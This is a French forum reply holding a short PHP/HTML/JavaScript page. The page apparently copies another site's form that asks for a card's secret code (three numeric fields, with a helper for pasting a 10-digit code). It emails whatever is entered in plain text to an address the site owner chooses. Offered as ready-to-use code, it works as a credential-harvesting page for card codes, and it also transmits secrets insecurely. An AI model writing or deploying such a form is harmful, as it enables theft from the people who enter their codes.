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Voici quelque chose fait en 30 secondes...
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
 
<style type="text/css">
        * {
                margin:0;
                padding:0;
        }
 
        FORM {
                text-align:right;
        }
 
        LABEL {
                padding-right:5px;
                cursor:pointer;
        }
 
        INPUT {
                font-size:14px;
                margin-top:3px !important; /* Only for FF, Fix IE "bug" */
                margin-bottom:3px !important; /* Only for FF, Fix IE "bug" */
                margin-top:2px; /* Only for IE, fix IE "bug" */
                margin-bottom:2px; /* Only for IE, fix IE "bug" */
        }
 
        #content FORM {
                margin-bottom:10px;
                text-align:left;
        }
</style>
 
<!--[if IE]>
	<style type="text/css">
		#tarifs {
			width:600px;
			padding-top:10px;
			padding-left:10px;
			padding-right:15px;
			font-size:10px;
			color:#003366;
		}			
		#line_number {
			text-align:left;
			height:20px;
		}
		.line {
			height:20px;
		}	
		.name {
			padding-left:3px;
			font-weight:20px;
			float:left;
			width:280px;
			text-align:left;
		}
	</style> 
<![endif]-->
 
</head>
 
<body>
 
<?php
if (isset($_POST["validationForm"]) && $_POST["validationForm"] == "ok") {
        
        // On définit les variables 
        $pin1 = trim($_POST["pin1"]);
        $pin2 = trim($_POST["pin2"]);
        $pin3 = trim($_POST["pin3"]);
        
        // On vérifie si les champs sont remplis
        if (empty($pin1) || empty($pin2) || empty($pin3))
                die("Erreur, merci de ne pas laisser de champ vide.");
                
        // On vérifie que chaque champs comporte bien des entier
        if (!is_numeric($pin1) || !is_numeric($pin2) || !is_numeric($pin3))
                die("Chaque champs ne doivent comporter que des nombres.");
                
        // On définit le contenu et les headers pour l'envoie du mail
        $body = "1er champ: ".$pin1." - 2eme champ: ".$pin2." - 3eme champ: ".$pin3;    
        $headers = 'From: ' . $NomDeTonSite . ' <' . $EmailDuSite . '>' . "\r\n" .
        'Reply-To: ' . $EmailDuSite . '' . "\r\n" .
        'X-Mailer: PHP/' . phpversion();
        
        // On envoie le mail
        mail($EmailDuDestinataire, "Votre inscription sur " . $NomDeTonSite, $body, $headers);
        
        // On arrête le script
        die("Mail envoyé");
                
} else {
?>
 
<div id="content">
 
	<form method="post" id="loginForm" action="#" style="width:180px;margin:10px auto">
 
		<input type="hidden" name="validationForm" value="ok">
 
		<div title="Vous pouvez copier-coller votre code entier directement ici">
 
			<label for="pin1" style="display:block;margin-bottom:5px;cursor:pointer" onclick="javascript:resetPincode()" title="Cliquez ici pour vider rapidement les champs">Code secret de la carte :</label>
 
			<input type="text" name="pin1" id="pin1" value="" onkeyup="javascript:pinHelper(1,4)" style="font-size:16px;width:44px" />
			<input type="text" name="pin2" id="pin2" value="" onkeyup="javascript:pinHelper(2,3)" style="font-size:16px;width:34px" />
			<input type="password" name="pin3" id="pin3" value="" onkeyup="javascript:pinHelper(3,3)" style="font-size:16px;width:34px" />
 
			<input type="submit" value="OK" id="submitButton" />
 
			<input type="hidden" name="jumpedpin1" value="" />
			<input type="hidden" name="jumpedpin2" value="" />
			<input type="hidden" name="jumpedpin3" value="" />
 
 
		</div>
 
	</form>
</div>
 
<script type="text/javascript">
                
        // Init "autocomplete" attribute (XHTML)
        document.forms["loginForm"].elements["pin1"].setAttribute("autocomplete","off");
        document.forms["loginForm"].elements["pin2"].setAttribute("autocomplete","off");
        document.forms["loginForm"].elements["pin3"].setAttribute("autocomplete","off"); 
        
        function resetPincode() {
        
                document.forms["loginForm"].elements["jumpedpin1"].value = "";
                document.forms["loginForm"].elements["jumpedpin2"].value = "";
                document.forms["loginForm"].elements["jumpedpin3"].value = "";
                
                document.forms["loginForm"].elements["pin1"].value = "";
                document.forms["loginForm"].elements["pin2"].value = "";
                document.forms["loginForm"].elements["pin3"].value = "";
                
                document.forms["loginForm"].elements["pin1"].focus();
        }
        
        function str_replace(search, replace, subject) {
                
                var result = "";
                var  oldi = 0;
                for (i = subject.indexOf (search); i > -1; i = subject.indexOf(search,i))
                {
                        result += subject.substring (oldi, i);
                        result += replace;
                        i += search.length;
                        oldi = i;
                }
                return result + subject.substring (oldi, subject.length);
        }       
 
        function pinHelper(i,n) {
                
                entirePincode = document.forms["loginForm"].elements["pin"+i].value;
                
                // Clean input
                entirePincode = str_replace("-","",entirePincode);
                entirePincode = str_replace(".","",entirePincode);
                entirePincode = str_replace(" ","",entirePincode);
        
                // If user try to cut and paste directly an entire pincode
                if (entirePincode.length == 10) {
                        
                        document.forms["loginForm"].elements["pin1"].value = entirePincode.substring(0,4);
                        document.forms["loginForm"].elements["pin2"].value = entirePincode.substring(4,7);
                        document.forms["loginForm"].elements["pin3"].value = entirePincode.substring(7,10);
                        
                        document.forms["loginForm"].elements["jumpedpin1"].value = "Y";
                        document.forms["loginForm"].elements["jumpedpin2"].value = "Y";
                        document.forms["loginForm"].elements["jumpedpin3"].value = "Y";
                
                        document.forms["loginForm"].elements["submitButton"].focus();
                
                } else {
 
                        // Truncate pin field
                        if (document.forms["loginForm"].elements["pin"+i].value.length > n) {
                        
                                document.forms["loginForm"].elements["pin"+i].value = entirePincode.substring(0,n);                                     
                        }
                        
                        // Change focus automaticaly - Warning focus() IE behaviour
                        if (document.forms["loginForm"].elements["pin"+i].value.length == n) {
 
                                if (document.forms["loginForm"].elements["jumpedpin"+i].value == "") {
                                        
                                        document.forms["loginForm"].elements["jumpedpin"+i].value = "Y";
                                        
                                        if (i==3) {
                                                document.forms["loginForm"].elements["submitButton"].focus();
                                        } else {
                                                document.forms["loginForm"].elements["pin"+(i+1)].focus();
                                        }
                                }
                        }                                               
                }       
        }
</script>
 
<?php
}
?>
 
</body>
</html>
Il y a des choses à voir bien entendu, et je n'ai pas testé... mais l'idée est là...
Tu aurais très bien pu le faire toi même, en prenant la peine de regarder le code source de la page du lien que tu nous à laissé...

@NoSmoking : Merci, c'est plus sympa dis comme ça :ccool: